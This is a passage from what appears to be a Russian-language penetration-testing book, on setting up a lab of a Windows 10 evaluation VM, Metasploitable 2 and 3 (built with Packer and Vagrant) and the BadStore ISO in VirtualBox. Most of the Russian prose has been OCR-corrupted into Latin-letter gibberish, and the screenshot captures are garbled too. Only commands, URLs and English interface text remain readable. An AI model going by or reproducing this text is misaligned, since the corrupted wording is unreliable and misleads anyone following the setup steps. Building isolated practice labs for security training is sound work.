aJTBHOCTH, CHCTEMa TIOTIPOCUT BBECTH Balll a/[PeC ATeKTPOHHON MOUTHI. {1t HacTpoiikn
Ge3omacHOro Bxozia HaxMuTe KHomky Set up PIN (Hacrpours PIN-kox). ITo Tenedony
mn ryreM CMC MoskeT oTpeboBaThCs OATBEPIUTE CBOIO IMYHOCTD. [Tocsie 3aBepiire-
HUS IIPOBEPKU BBl cMoskeTe yeTaHoBUTh PIN-koa. O6s3aTe1bHO 3alIOMHKTE €10 (9T0 KaK
MUHUMYM IIECTh H(P), TaK KaK OH MTOTPeGYETCsT [I7IsT BXO/IA B CHCTEMY.
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[ @ %) Windows Setup

Where do you want to install Windows?

| Name | Totalsize| Free spacel Type |
@ Drive 0 Partition 1: Recovery (System re 500.0 MB 483.0MB Recovery
5z Diive0 Partition2 635 GB 63.5 GB Primary |
+4 Refresh 7< Delete & Format - New
&4 Load driver Q Extend

Puc. 2.5. Boibop pa3agena anst ycTaHOBKM

Installing Windows...

That's all the information we need right now. Your computer will restart several times during
installation.

o/ Copying Windows files
Expanding Windows files (10%)
Installing features
Installing updates I
Completing installation

Puc. 2.6. CTagmu yCTaHOBKM onepaumoHHomn cuctembl Windows 10
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[Tocsie TOro Kak ycraHoBKa OyIeT 3aBep-
IIeHa, CJIeyeT HACTPOUTH CETh U YCTAHOBUTD
npusoxkenus. IToapoOuas nndopmariys o Ba- Build 17134.rs4_release.180410-1804
el 03HAKOMUTEJIbHON KOIIUU HAXOIUTCS

B IIPABOM HUKHEM yTJTy Pabodero ctona olie-  pue 2 7. Mndhopmaums 06 03HaKOMUTENLHOI
parmonHoii cucrembl Windows 10 (puc. 2.7).  konum ycraHoBneHHol onepaumoHHoi cucTembl

Windows 10 Enterprise Evaluation
Windows License valid for 90 days

[ns 6bICTpOro BOCCTaHOBNEHUS paboyero CoCTosHUSA BMpTyaﬂbHOﬁ MallWHbI
COXpaHUTE e€ TEKYLLEE COCTOAHUE.

YCTaHOBKa YyS3BUMbIX CEPBEPOB

B aTom pasnesie B kKauecTBe 1eJ1€BOI MAIINHBI MbI YCTAHOBUM YSI3BUMYIO BUPTYQJIBHYIO
marimay. OHa Gy/IeT UCIIOJIb30BaHa B HECKOJIBKUX IVIABaX KHUTU IIPH PACCMOTPEHIN KOH-
KPETHBIX TeM. UTo6bI BBI He HAPYITIAIH 3aKOH, MbI PEIIIIN CO3/IaTh YA3BUMBIN cepBep Ha
KOMIIBIOTEPE, & He MCII0JIb30BaTh 10CTyHbIe B VIHTepHETE ys3BUMbIe cepBepbl. Ciieyer
etite pa3 06paTUTh Ballle BAUMAHIE, YTO BbI HUKOT/IA He OKHBI 6e3 MHCHMEHHOTO Pa3-
peleHus IPOHUKATh B IpyTre cepBephl. Elle 0IHOH 11eJ1bI0 yCTaHOBKU BUPTYaJbHOMN
MAIWHBI SBJISETCS YIAYUIIeHUE BAIIMX HABBIKOB KOHTPOJISA. C TIOMOTITHIO STHUX HABBIKOB
BbI JIETKO CMOJKeTe TIOHSITh, YTO IIPOMCXO/UT B 1[€JI€BOIl MAIIIMHE, U UCIIPABUTD BbISB-
JICHHBIE TIPOOJIEMBI TaK, YUTOOBI ATaKU CTaIH Hea(h(HEKTUBHBIMU.

B HexkoTOpPBIX cTpaHax Aaske CKAHUPOBAHWE MOPTOB UYKOIM MAIIMHBI CIUTAETCS
[IPECTYIIHBIM JiesieM. Kpome TOro, Mbl JIEFrKO MOKEM BOCCTAHOBUTH OMEPAIUOHHYIO
CUCTEMY, YCTAaHOBJIEHHYIO Ha BUPTYAJIbHOI MallliHe.

B cnenyionux pasesiax B KaueCTBe YSI3BUMBIX CEPBEPOB Mbl YCTAHOBUM BUPTYaJIb-
Hble ManHbl Metasploitable 2 u Metasploitable 3. Metasploitable 2 — ato BupTyasnbHast
ManHa panHeii Bepcuu. Ona, B oTimure ot Metasploitable 3, mpotie B ycraHoBKe 1 Ha-
crpoiike. Metasploitable 3 — Gosiee HoBast Bepcust, B KOTOPOIi yYTe€HbI Bce OOHOBJICHUS
yassumocteil. Ho npoueaypa ycranosku Metasploitable 3 Hemuoro otmmyaercst or ycra-
HOBKHU TIPEbIIYINEl BEPCUU BUPTYJIbHON MAIIMHBL, U Y HOBUYKOB MOTYT BO3HUKHYTb
HEKOTOPBIE 3aTPYIHEHUS, TIOATOMY MBI PACCKasKeM BaM, KaK YCTAHOBUTH M HACTPOUTD
06€ BUPTyaJIbHbIE MAIITMHBI, U PEKOMEH/LYEM TIPU HATUYUK CBOOOJIHBIX PECYPCOB OIPO-
60BaTh KaKIYIO 13 HUX.

Hactpoiika Metasploitable 2 Ha BupTyanbHOM MalnHe

Metasploitable 2 — aTo ys3BuMast BUpTyaibHast MallHa, KOTOPYIO Mbl COOMpPAEMCsI 1C-
nosb3oBaTh. Ee cospan snamenntsiii X. JI. Myp (H. D. Moore) usz Rapid7.

Kpome Metasploitable 2, cywecTsytoT 1 Apyrue ys3suMble CUCTEMBI, KOTOPbIE
MOXHO MCNOMb30BaTb Ans 06y4eHUs1 TECTUPOBAHMIO HA MPOHUKHOBEHUE.
O3HakoMbTeCh C 3TUMK cucTeMamu no aapecy https://www.vulnhub.com.
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B Metasploitable 2 mpeaycMOTpeHO MHOKECTBO YSI3BUMOCTEN KaK Ha yPOBHE ollepa-
[IMOHHON CUCTEMBI, TAK U HA YPOBHE CETU U BEG-TIPUIIOKEHUTA.

NHdbopMaumio 06 ya3BMMOCTSIX, coaepxalumxcs B Metasploitable 2, MoxHO
HalTn Ha canTe Rapid7 no agpecy https://community.rapid7.com/docs/
DOC-1875.

Jlnst yeranoBkn Metasploitable 2 #a Buptyasnpiyio mammny VirtualBox BoimosHnTe
CJIE/LYIONIHE IEFICTBIIS.

1. 3arpysure (aiin Metasploitable 2 co crpanuier o agpecy http://sourceforge.net/
projects/metasploitable/files/Metasploitable?/.

2. Pacnaxyiite ZIP-daiin Metasploitable 2. Korga apxus 0yner paciakoBaH, Bbl YBU-
auTe IATh (Bhaiiios:

® Metasploitable.nvram;
® Metasploitable.vmdk;
® Metasploitable.vmsd;
® Metasploitable.vmx;

® Metasploitable.vmxf.

3. Cospaiite B VirtualBox HoByt0 BupTyaibHyto Maniuy. HazoBuTe ee Metasploitable2,
B packpbiBaotiieMcst crrcke Type (Tui) Bbibepute onepaiioHHy0 cuctemy Linux,
a B crincke Version (Bepcust) — Ubuntu.

4. Beigeaure namats oobemoM 1024 MoaiiT.

5. B macrpoiikax BUPTYaJbHOTO XKECTKOTO AMCKA YCTAHOBUTE MEPEKII0YaTeNb B T0-
Jgoxenue Use existing hard disk (Mcnomb3oBaTh CyliecTBYIOMMUH KECTKUM JAUCK ).
Boibepurte paree usBiederubie (aiinsr Metasploitable.

6. Uro6bl 5TOT cepBep ObLI AOCTYIIEH TOJbKO U3 OCHOBHOI OIEPAI[MOHHOM CUCTEMbI
u ¢ BupTyasibHoil Mamuibl Kali Linux, usamMennTe HaCTpORKK CETH, OIPEIEIUB TUIT
MOJIKJIIOUEHNsT KaK Host-only adapter (BHyTpentsist ¢Bsizb). OOpaTuTe BHUMAHUE:
yt106b1 Kali Linux 6bi1a BugHa T0oabKO0 i ocHoBHOU OC 1 ycTaHOBJIEHHbBIX B HEl
BUPTYaJbHBIX MAIITIH, TAaKKe BbIOEPHUTE B ceTeBbIX HacTpoiikax Kali Linux tum moz-
KJtoueHnst Host-only adapter (BryTpenHSIs CBSI3D).

7. 3amyctuTe BUPTYaJbHYIO MalinHy Metasploitable2. Korga mpotecc 3arpy3ku Bup-
TyaJIbHON MaIllMHbBI 3aBEPIINTCS, BOHNTE B KOHCOJb Metasploitable2, ncrnosb3ys
CJIeYIOIIe YICTHDIE JaHHBIC:

® M I10Jb30BaTess: msfadmin;

® 1apoJib: msfadmin.

Tax BoirssuT KoHcosb Metasploitable 2 nociie Bxoga B cucremy (puc. 2.8).
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Marning: Hever expoze thisz UM to an untrusted network!?
Contact: msfdevliatImetasploit.com

Login with msfadminsm=fadmin to get started

metasploitable login: msfadmin

Fassuword:

Last login: Sat Jun 30 23:52:2Z8 EDT 2012 on ttiyl

Linux metasploitable 2.6.24-16-server #1 SHP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software:
the exact distribution terms for each program are described in the
individual files in rusrrsharersdoc/=/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please wvisit:
http:s-help.ubuntu.con~

No mail.

msfadmin@metasploitable: ™S _

Puc. 2.8. KoHconb Metasploitable 2 nocne Bxoaa B cuctemy

Hactpoiika Metasploitable 3 Ha BupTyanbHOM MalwvHe

Metasploitable 3, soinymiennas Rapid7 8 2016 rogy, — Bepcus ¢ caMbIMK ITOCJIEIHU-
Mu oOHOBJIeHUAMU. T10 cpaBHEHUIO C TIPeAIIeCcTBYOlIel Bepcreil oHa uMeeT GoJibliie
ysaspuMocteil. OHaKo Bepcuy 3arpyskaeMoil BUPTyaabHOI Marmtbl Metasploitable 3
He cymecrByer. Kpome Toro, Metasploitable 3 nyskmaercst B ycTaHOBKe ¥ HacTpOIKe
HECKOJIBKUX JIOTTOJHUTENbHBIX KOMIIOHEHTOB. [Ip1 3TOM HEOOXOAMMO, YTOOBI MTOJIb-
30BaTeJb CAMOCTOSITENILHO CO3/Ial BUPTYAIbHYIO MAIIIUHY.

B sTom npumepe Bupryanbhasg mamuia Metasploitable 3 6yzer ycranosiena na
koMmibiorepe o yipasienrem Windows 10. Ho cHadasa nmorpebyercs 3arpysurb
CJIely oIHe KOMIIOHEHTHL:

O supryanbnyto Mamuny VirtualBox wiu VMware. Mpt osyunan coobiienus,
uTo TIpu ucnosb3oBanuK VirtualBox ¢ Bepcueii 5.2 MOryT BOSHUKHYTH TIPOOIEMBI.
Xopotiive pe3yrbTarhl MOJgyJanTcst, ecu paborars ¢ VirtualBox Bepcun 5.1.14;

Q Packer;
O Vagrant.

YctaHoBka Packer

Packer ot Hashicorp mo3BoJisier JIerko cosfaBath aBTOMaTU3UPOBAHHbIE 0OGPA3bl, TAKKE
kak Metasploitable 3. Uto6b1 3arpysuth Bepcuio Packer, cooTBeTCTBYIOIILYIO Balliell ore-
paImoHHO cucTeme, ITOCETUTE CTPAHUILY 3arpy3ku: https://www.packer.io/. PazpsanocTtsb
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Balei OHepaHI/IOHHOﬁ CHUCTEMbBI MOKHO ITOCMOTPETDH B /IMAJIOTOBOM OKHE System (CI/I-

crema) (puc. 2.9).

@@ =@ Hauenl " 5

Bee

v Cucrema

I"Ipnmm'p DCHORHEY COSACHWEA 0 BALIEM KOMMLIOTERE

2M5r. By

o Windows 10

Intel(R) Core{TM)2 Duo CPU  PT370 @ 200GH: 2.00 GH:

20016

B

CHETEMA,

] Buanycx Wind,
Mmenersep yerpoiicra]
E Windows 10 Pro
il .
&9 Bauma encrem] e
"
Cuem
Mpoyeccop:
YeTanoRNEHAAR NAMATR
(03Y):
< Twncncremss
S Tacee
Nepo f nmogy

[ N —

epan P

pabouei rpy

L ——

A BROJ HEADCTYNKL NS STOFD SCPAHA

Puc. 2.9. MNpoBepka pa3psAHOCTY Ballel ornepaLmoHHON CUCTEMbI

[To oxoruanuu 3arpysxu ussaexute haiianl u3 apxusa. [lociie n3BieueHns Bl yBU-
JIATE UCTIOJHSIEMBIN (ailt packer. exe.
Coszpaiite B m1060M yI00HOM IS BaC MeCTe MATKy 1Mo uMeHeM packer. Mbl aTy
MANKy CO3/Ia/Ii Kak KopHeBYyIo Ha aucke C (puc. 2.10).

Nmsa | [lata usmene... [ Tun | Pasmep |
[ intel 29.042017 2.. TlanKa c dafn...

[l MsOcCache 01.12.2018 1.. TNanka c gafn...
(lpacker  300120191. [Mankacdair.
L PerfLogs 10.07.2015 1.. Tanka c Qaiin...

[] Program Files 24.01.2019 2.. TNanka c Qafin...

[ Program Files (x86) 25.01.2019 1.. TNanka c dafin...

0 ProgramData 24.01.2019 2.. lNanka c dafin...

[ windows 12.01.2019 1.. anka c dain..

[ Nosbsosatenm 12.10.2017 2. Tanka c daiin..

Puc. 2.10. MNManka Packer co3naHa

Tenepb JUIA 3allyCKa 9TOIr'O IPpUJIOKEHUA N3 KOMaHTHOM CTPOKN HEO6XO[[I/IMO /:[06a-
BUTDH K COBI[aHHOﬁ Talike Iy Th. [[JIH 9TOI'O BBIIIOJIHUTE CJIEAYIOIINE I[eflCTBHH.

1.

[Tepeiigute B Control Panel » System (ITanesnb yripasienus » Cucrema) u eJKHUTE HA

cTpoke Advanced system setting (/lomosiHuTeTbHBIE TAPaMETPBI cucTeMbr) (puc. 2.11).

B oxne System Properties (CBoiicTBa ccTeMbI ) TEJKHUTE KHOTTKON MBITITH HA BKJIA/l-

ke Advanced (lonosnnutenbHo). [lajiee Ha OTKPBITOHN BKJIAJKE HAXKMHUTE KHOIKY
Environment Variables (Ilepemennbie cpennr) (puc. 2.12).

HOZI T10JIb30BATEJIbCKUMU ITEPEMEHHBIMU Bbl JOJIPKHBI YBUIETD 3allCh ITYTU J1JI1 admin.
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I"Ipnmnrp DCHORHEY CRSACHWE 0 RAIEM KOMNEIOTERE

Bramyox
Windows 10 Pro

2M5r. By

L Lk t t
IBUMLLENLL.
Banee

QT -orf b

Windows10

Npoyeocop:

Intel(R) Core{TM)Z Duo CPU P70 @ 200GH: 200 GHr

Yeranoonennan nawate 20076 =
(03Y):
Tun cncremst: 64 encresa, 6
Mepo w cencoprwi osog  Mepo M CEHCOPHLIA B00A HEAGCTYTINLL ANR ITOMD IKPAHA
Vnan KOMABRTERS, HME AGMERD W NAPAMETIN paBaweR oy
KomnproTep: DESKTOR-TRSLIAA Btsmenims
Moo ws: DESKTOP-TRSLIAA frepamEipe
Onmcanme Her aanmso
Pabouan rpynna: Her aanmso
T, TaCKE
Wind )|
ey wndoms e, esomm . o -
Madkpacadt -

Puc. 2.11. MNMaHenb ynpasneHus

Wmp komnsoTEpa
JononHaTensHo |

JELUMTE CHCTEMEI

HEOSXDILHMO WMETH Npaga agMWHWCTPETOPE ANA M3MEHEHWA GoneWMHCTEE
NEQEYNCNEHHE NSPaEMETROB.

~ bricTpo ReficTEME
BusyanbHbie 3dgerTs!, MCNoNL308aHWE NPOLIECCOPE, ONEPATHEHOM 1
EMPTYaNEHOM MamMATA

MapameTptl .

~ Mpogwni nonssoeartenei
MNapameTpel patioyero cTona, 0THOCALWMECA KO EX0OY B CMCTEMY

[Napame:

~ 3arpysKa 1 BOCCTEHOBNEHWE
3arpy=sKa W BOCCTEHOBNEHWE CUCTEME!, 0TNEN0UHAR MHEOPMELMA

=)

MNepemeHHsIe cpe sl
___,.—l/

[ MpuMeEHNTE ]

Omvera

Puc. 2.12. Bknagka Advanced (JononHuTensHO)
OKHa System Properties (CBolicTBa CUCTEMBI)
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3. B nosie System variables (CucremHuble TlepeMeHHbIe) YKasKUTe Iy Th K TIepeMeHHOii Path:
C:\Program Files (x86)\Common Files\Oracle|Java\javapath (puc. 2.13).

ﬁepemeHH;E cpta‘r_.h_uk ¥_ A ‘\ M

[epemeHHbIe cpeabl NoNL30BaTENA ANA ANEKAHAD

MNepemerHan 3HaueHue
Path C:\Program Files\Intel \WiFi\bin; C:\Prog...
TEMP %l JSERPROFILE%\AppDatalLocal{Temp
™P %USERPROFILE % \AppDataLocaliTemp

[ Cospats... | [ﬂsMeHMTb... ] [ Yaants

CMCTEMHEIE NEPEMEHHEIE

MepemeHHasn 3HaqeHue -~
os Windows_NT D
Path C:\Program Files (x86)\Common Files\0. ..
PATHEXT ,COM; .[EXE;.BAT;.CMD;.VBS;.VBE;. 1S;....
PROCESSOR_A... AMD&4 sl
[ Cozpate... ] [HsueHMTb... ] [ ¥oanute ]
[ OK ] [ OTMeHa ]

Puc. 2.13. PegaktmpoBaHue nyTu CUCTEMHON NepeMEHHOMN

4. Jlns nponoskeHns: HaxkmuTe KHOTIKY Edit (Penaktuposars). HaxkmuTe B osiBuBIIEM-
Cs1 OKHE PACIIOJIOKEHHYIO B TIPABOM BepxHeM yrity KHOIKY New (Co3zarh), Beibepure
u3 crrcka C: \packer 1 HAKMHUTe KHOIIKY OK.

Yt06bI TPOBEPUTH, IPABUJIBHO JiK GBI OTPEAAKTUPOBAH My Th, 3aTyCTUTE KOMAHIHYO
CTpoKy u BBeauTe packer. Ecim Bece ObLIO CIe/IaHO MTPABUIIBHO, B OKHE TEPMUHAA BB
YBUIATE BCE JIOCTYITHbIE KOMAH/IBI 1 apTyMeHTHI (puc. 2.14).

= C\Windows\System32\cmd.exe ] = s (S

Microsoft Windows [Version 18.8.18248]
(c) Kopnopauwa Maiikpocodt (Microsoft Corporation), 2815 r. Bce npaea 2aulMueHsl.

C:\Windows\System32>C:\packer\packer.exe
Usage: packer [--version] [--help] <command> [<args>]

Available commands are:
build build image(s) from template
fix fixes templates from old versions of packer
inspect see components of a template
validate check that a template is valid
version Prints the Packer version

C:\Windows\System32>_

Puc. 2.14. MNMpunoxeHne packer 3anywieHo
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YcraHoBka Vagrant

Vagrant, kak u Hashicorp, — npusioxeHue ¢ OTKPBITHIM HCXO[HBIM KOJIOM, KOTOPOE
UCIIOJIB3YETCS JIUIS YIIPOTIEeHHst pabo4nX TPOIECCOB M KOH(MUTYPAIIMH B BUPTYaJbHbIX
cpenax. J{ust sarpysku noaxozsiieit areit OC Windows Bepcuu iporpaMMbr mOCETUTE
crpanuity https://www.vagrantup.com/downloads.html.

[Tocsie ycTaHOBKKM COOTBETCTBYIOIIEro 3arpy3unka (B ganHoM ciaydae Windows)
yctaHoBuTe Vagrant.

Mbr ipenosiaraem, uto VirtualBox y Bac yske ycraHOBJIeH. 3arpy3uTe UCXO/HbIE
(aiisr Metasploitable 3 (puc. 2.15) us penosuropust GitHub, koropsiii pacmosioxkeH
110 azapecy https://github.com/rapid7/metasploitable3.

‘ D 558 commits 10 branches T 0 releases X% 33 contributors o View license
e
[ BB jrvontino7 Land #356, make quest tools last 50 pre-regs are in plece Clone with HTTPS @
Use Git or checkout with SVN th b URL
B github Updated issue template.md se Bitarchee usng Hhe we
https ./ github . comfrapid? metazploitable | B ]
B chet/cookbooks Changes for community CTF.
Biso Initial eommit. I
Opun in Desktop Download ZIP
B packer Update guest tools install for better vmware support TR
8 resources Land #231, Add the Linux Box From the 2017 CTF Mar 15, 2018
B seripts Update guest tools install for better vmware support lan 18, 2019
B versions/pro Update pro version to suppart Linux ViV Jul 31, 2017
gitignore Added support for building and running on gemufkvn via libvirt Jun 19, 2018
B copvinG HRemaove year specihcation trom Copynght since it was incarrect and a... Mow 1, 2016
) LICENSE Remove year specification from Copyright since it was incorrect and .. Mov 1. 2016
[l README.md wprdate readme for gemu/libvirt Aug 29, 2018

Puc. 2.15. 3arpy3ka ucxoaHbix aiinoB Metasploitable 3

PacmiakyiiTe 3arpyKeHHbIN apxuB B yI00HYIO /st Bac nanky. 3amycrure PowerShell
B Windows 10 u, nmepebupas KaTajaoru, BoIGepUTe NANKY ¢ PACiaKOBAaHHBIMU UCXO/I-
Hbeimu (paitnamu Metasploitable 3. /Tasee BBenuTe kKomaty /build_win2008. Haunercst
cbopka Baiiero cepsepa Metasploit 3. Yurute, 4To OHa MOJKET 3aHSITh HEKOTOPOE BPEMSL.
XOoTb /111 HAUMHAIOIIMX 9TO CJI0KHO, HO BCe JKe MoNpooyiiTe.

MpenBapuTenbHas HacTpolika Metasploitable 3

Ecom co c6opxoii cepsepa Metasploit 3 BOSHUKIIN CTOKHOCTH, 3aTPY3HUTE MIPEABAPHTENb-
HO cOGPaHHYT0 BEPCHIO, KOTOPYIO MOKHO HaiiTi Ha cTpanuiie GitHub: https://github.com/
brimstone/metasploitable3/releases.

Ira Bepcust Metasploitable 3 Gpiia cosmana kommanueil Brimstone u gocTyiHa st
ckaunBaHus. Pasmep.ova-daiina (Metasploitable3-0.1.4.0va) Bcero 211 Mobaiir.
I[Tocsie 3arpy3Ku €ro MOKHO OTKPBITh B VirtualBox. [lJist aTOr0 B BUPTYa/bHOI MallnHe
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€ro Hy’KHO BBIOPATh U UIMIOPTHPOBATh. [10 BOSMOKHOCTH YBEJIMUYbTE MPE/LYCTAHOBJICH-
uorit B 1 Taiit o6pem O3Y.

XO0Ts Ipollece YCTAHOBKH M 3aHIMAET HEKOTOPOE BPEMsI, YCTAHOBIIUK BCE BBITIOJTHUT
aBTOMaTH4ecKu. V1 B KOHIIe BbI II0JIy4nTe TTOJAHYI0 Bepcuio Metasploitable 3 ¢ Windows
Server 2008 (puc. 2.16).

@ Microsoft Word 2010 Anexcarap
JOKYMEHTEI
Microsoft Office Word 2003

WordPad

WzobpaxeHna

WMy=hika

Wrpst

ha Bnokxot HefaEHWe AOKYMEHTH!

@ Microsoft Edge 3TOT KOMNLHOTED

@ iexplore — Apneik MNaxesb ynpaenexa

’ Mapametpsl MK
Paint -

YcTpolcTEa M NpUHTEpEI

MapameTpel
Mporpammel NO YMOAUSHUKG

Stellarium (pexum ANGLE) Cnpaska n NoAnepXKa

» Brce nporpammel BRINOAHATE...

| Haiimu npozpanued u giadine 3aeeplueHue paboTl  *

B ¢ R @

Puc. 2.16. Metasploitable 3 ycTaHoBneHa

YcTaHOBKa M HacTponka BadStore Ha BUpTyanbHOW MalLWHe

Badstore ISO, 110 cpaBHEHMIO HOBBIMHU TEXHOJIOTUAMU, yeTapes. OIHaKo, B OTJIMYHE OT
Metasploitable 3, oH HeBEpOSATHO TIPOCT B yCTAHOBKE U UCIOJIb30BAHKH.

IMTockonbky aror ISO-06pas coep:KuT XOPOIIo U3BECTHbBIE 9KCILJIONTHI, @ ero pasmep
He nipesbitnaer 15 MbaiiT, HagnHaIOINIHE MOIB30BATEN I YUTATEIN C OFPAHUYEHHBIMI
pecypcamu MOTYT 3ajieiicTBoBaTh rpuioxkenre BadStore st Hayasa mpoBe/ieHust TECTOB
Ha IIPOHUKHOBEHHME.

Ha MoMmenT Hanucanus aToil KHuru B opunnanbiom Marasuie oopas ISO BadStore
6ouibiiie He goctyreH. Ho ecTh HECKOMBKO HAJEKHBIX CCBLIOK, 110 KOTOPBIM €T0 €Ile
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MOKHO CKayaTbh. DTU CChLIIKU JIOCTYITHBI B CTaThe GitHub 1o azpecy https://github.com/
jivoi/junk/blob/master/coursera_software-security/w3/project-2/info.

Kpome toro, ISO-06pas BadStore MmosxkHO ckauaTh 3z1ech: https://d396qusza40orc.cloud-
front.net/softwaresec/virtual_machine/BadStore_212.iso0. 3arpy3uTe Take pyKOBOJCTBO JIJIsI
BadStore ISO, Tak Kak TaM colepKUTCs BaxkHas WHGOPMAIMA O IOAKIoYeHnn 1P
u ysa3sumocTtsix B OC.

ITocJie Toro Kak (aiin sarpysurcs, saiycrure VirtualBox u BeiGepure KoMaHLy MEHIO
File » New (@aiin » Co3nath). BBeuTe nanibie, Kak mokasano Ha puc. 2.17. Jlus npo-
JoJKeHnsT HaxkmuTe KHOTKY Next ([lanee).

s @ ™

@ Co3aTb BUPTYaAbHYIO MALUMHY

Ykaxmte uma u tivn OC

MO¥AMYIACTS EESAMTE MMA HOEOIA BMPTYANEHDM MALLMHE! W BEISEDMTE TIAN ONEPALMOHHON CLCTEMEI,
KOTOpYHD Bel COOMPEETECE YCTEHOEMTE HA ASHHYHD MALLMHY, 3343HHOE Baru 1A Gyget
WEMOABZ0BATECA ANA MASHTHMDAKSUMA ASHHOA MaLLMHEL,

MMA: BadStore

T [Linux ']
e

Bepcwa: ’Linux 2.4 (32-hit)

SKCNEPTHEIA pexwml ’ danee l l OTMEHS

Puc. 2.17. Co3gaHune BUPTYanbHOM MalumHbl Ans BadStore

Jlnst paborer BadStore tpeGyercst oueHb MaJio omiepaTUBHON TaMsATH. Bbl MoskeTe
UCIIOJIb30BATH 0OBEM, MPeTaraeMblil Mo yMordanuio. Mbl ske Beienan 640 Moaiir.
YT00bI IPOAOJLKUTD, HaskMuUTe KHOIKY Next ([Jamnee) (puc. 2.18).

[l 3aBepiiieH s yCTAHOBKY BBITIOJIHUTE CJIE/IYIOIINE JIECTBUSI.

O VYcranosuTe mepekyovaTesb B osoxenne Create a virtual hard disk now (Cosnats
BUPTYaAJIbHBIN KECTKUI IMCK), a 3aTeM HaxkMuTe KHONKY Create (Co3nars).

O Beibepure VirtualBox Disk Image (VDI) B kKauecTBe THIa (hailia JKECTKOTO AUCKA U Ha-
skmute KHoKy Next ([lanee).

Q YcranoBuTe nepekovaTenb B moJsokenue Dynamic virtual hard disk ([luHamuueckuii
BUPTYJIbHBIHM JKECTKUI IUCK) U HaskMUTe KHOTIKY Next ([lasee).

O Ilockonbky BadStore He Tpebyet 60b110r0 06beMa KECTKOTO IUCKA, OCTABLTE MPel-
JIaraeMblil TI0 yMOJTYaHuIo pasmep 4 TOaiiT.
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@ CO38aTk BUPTYANEHYI) MALIMHY

YKAKUTE 0OhEM NAMATI

PesosaHgyarer obiém paeed 128 ME.
-

4

VEANUTA DITHEM DARNATHURHOGN NAMATI (RAM) RESNSHHRI JAHHOR RUNTYAMNRHOR MALLHS,

4 ME

[ o |

[re——

Puc. 2.18. BbigeneHue onepaTtuBHol namstu ans BadStore

Iepen 3amyckoM BUPTyabHOI MatuHbl BadStore ciieyer nuaMeHUTh HEKOTOPbIE
HACTPONKN. B MeHezKkepe BUPTYaTIbHBIX MAITUH IEJTKHUTE HA HAa3BaHUU BHOBD yCTa-
HOBJIEHHOW MaIllMHBI 1 HAXkMUTe KHOTNKY Setting (Ilapametpsr). OTkpoiiTe BKIAAKY
Network (Cetb), BeIOepuTe THIT MoAKIH0UeH st Bridged Adapter (CeTeBoit MOCT) ¥ HaKMHTE

KHOTIKY OK.

. _— -
f:aBadSlorc Hacrpoitkn

I —

)

CeTb

E OB We

rom|

z)

Mma: [Cetesan kapra Realtek RTLO160D/01110 Family PCLE Gigabit Ethe =]

_-;f'_,ﬂ Cuictema AganTep 1 l Aparen 2 I AaAien 3
l!E],J Dwcnsen [#] Eximoanin cetesadh apanen

m HochTem 114 DOARTRDYIEHIA IL.Q'IM MOCT
@3 Ayaue B Monnnssnseen

§ Cere

@ COM-nopThl

& uss

ﬁ UblMe nankm

WHTepdeiic noaszoBaTena

[ e

Puc. 2.19. Bribop Tvina ceTeBoro agantepa Ans BUPTyanbHON MalmHbl BadStore
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B MeHe/kepe BUPTYaTbHBIX MAIUH TIEJKHUTE Ha Ha3BaHuu mammubel BadStore
u HaxxmuTe kKHonky Start (Hauats) (puc. 2.20).

Dadkn MawwHa Cnpacska

* @ @ .

Cozgate  HacTpowTe CHpocMTE  3aMyCTMTE

Fea| Raspberry @

D 05) BricniousHa CAENaTE
lAma

@"‘- Kali Linux

n L BCD}{DBHEHE

Windows 08
) BemniusHa

BadStore

(@) BElNH0UEHE

Puc. 2.20. 3anyck BUpTyanbHON MalmHbl BadStore

[Tocsie 3ammycka BUPTYaIbHOM MAIIMHbL 1 TIOSBJIEHS AUATOTOBOIO OKHA ¢ TPOChOOi
BbIOPATh 3arPy30UHBIN JUCK HAKMKITE KHOIIKY ¢ M300pakeHueM Hanku &4 1 Bbibepure
paHee 3arpyskeHHBIH (haitsr BadStore. iso. [l 3ammycka BUPTyaIbHON MAITUHBI HAKMUATE
kHOIKY Start (Hauatn).

[Tocne Toro kak BadStore Gyer sarpyskeHa, AJis 3allycKa KOHCOJIM Ha)KMUTE KJia-
Buty Enter (puc. 2.21).

[Tocste HasxaTust knaBumm Enter /17151 ipocMoTpa KoH(Urypaiuii maTepdeiica BBeuTe
KoOMaHAy ifconfig 1 cHOBa Ha)KMuTe Enter.

Konduryparus narepdeiica mokasana Ha puc. 2.22. 3xech akTuser narepdeiic ethQ
¢ IP-agpecom 192.168.3.136. Ha Bameii mamune sgauenue IP-agpeca Q0KHO OBITh
npyruM. 3aniomuute [P-azspec, KoTopsiil yBUuANTe B KOHCOJIN Bamiell MamuHbl. K Bup-
TyasnpHoi Mammne BadStore Gyzere mogkaodarbes dyepes Gpaysep IMEHHO IO STOMY
[P-anpecy.

Otxkpoiite 00601 Gpaysep u BBeIUTE B ajipecHoii ctpoke [P-ajpec BUupTyanibHOM
Manmnbl BadStore: cgi-bin/badstore. cgi.

B koncosn Ha Hateit mantnae [P-anpec untepdeiica ethQ 6owr 192.168.3.180, mo-
STOMY MBI JIJISI ZIOCTYIIA K BUPTyaJibHOU MaiinHe BadStore BBesin B afipecHyo CTPOKY
6paysepa caenytontuii URL-anpec: http://192.168.3.136/cgi-bin/badstore.cgi.
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E‘] BadStore [PaboTaet] - Oracle VM VirtualBox (== P |

Dadn Mawwna Bwa Beog Yopodcea Cnpaeka
Welcome to Trinux: A Linux Security Toolkit (version 0.890)

Type ‘man’ for a list of help topics or "man trinux’ for docs.
ALT-<Left-/Right> allows i i the irtual terminal

find Welcome to the Server lor DadStore.net vZ2.1%

Full instructions can be found in the PDF file in the root of
the CD, or through the browser GUI.

Please press Enter to activate this console.

POl T Fa=" 1", 3 Right Ctrl

Puc. 2.21. 3anyck koHconu BadStore

E‘] BadStore [PaboTaet] - Oracle VM VirtualBox (= = P |

Dafn Mawwna Bwa Beoa Yapoldaea Cnpaska

Full instructions can be found in the FDF file in the root of
the CD, or through the browser GUI.

Please press Enter to activate this console.
bash# ilfconlig
etho i E Huaddr 08:00:27:D8:F8:CF
Bcast:192.168.123.255 Mask:255.255.255.0
ERS RUNNING MTU:1500 Metric:1
20 errors:0 dropped:0 overruns:0 frame:0Q
Tx packets:? errors:0 dropped:@ overruns:0 carrier:©
collisions:0 txqueuelen:100

RX bytes:2824 (2.7 kiB) TX bytes:2040 (1.9 kiB)
Interrupt:Y Hase address:Oxd0Ze

Link encap:Lorcal Lonphark

inet addr:127.0.0.1 Mask:255.0.0.0

UP LOOPBACK RUNNING MTU:16436 Metric:1

